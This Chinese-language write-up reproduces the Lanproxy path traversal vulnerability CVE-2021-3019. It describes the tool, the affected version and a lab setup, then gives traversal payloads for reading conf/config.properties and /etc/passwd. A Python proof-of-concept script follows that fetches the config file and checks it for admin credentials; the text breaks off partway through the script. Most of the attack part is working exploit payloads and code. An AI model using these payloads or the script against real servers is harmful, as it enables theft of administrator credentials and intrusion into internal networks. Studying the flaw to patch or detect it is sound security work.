0x01 Lanproxy简介
Lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具,支持tcp流量转发,可支持任何tcp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面等等)
0x02 漏洞简介
本次Lanproxy 路径遍历漏洞 (CVE-2021-3019)通过…/绕过读取任意文件。该漏洞允许目录遍历读取/…/conf/config.properties来获取到内部网连接的凭据。
0x03 影响版本
lanproxy 0.1
0x04 环境搭建
(1)Lanproxy下载
https://file.nioee.com/d/2e81550ebdbd416c933f/files/?p=/proxy-server-0.1.zip
(2)启动服务
解压缩后进入bin目录执行 ./startup.sh
启动服务
(3)访问8090端口,如图环境搭建成功
0x05 漏洞复现
上poc ../conf/config.properties
读取 /etc/passwd 文件
/../../../../../../../../../etc/passwd
0x06 POC脚本
import sys
import argparse
import os
from urllib import request
from urllib import parse
from urllib import error
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/82.0.4080.0 Safari/537.36 Edg/82.0.453.0"}
def readConf(url):
"""
默认读取配置文件,并通过能否读取配置文件来判断是否存在漏洞
"""
config = [
'config.server.bind',
'config.server.port',
'config.admin.username',
'config.admin.password'
]
path = "/../conf/config.properties"
confUrl = url + path
r = request.Request(confUrl, headers=headers)
try:
with request.urlopen(r, timeout=10) as resp:
confContent = resp.read().decode('utf-8')
for i in config:
if i not in confContent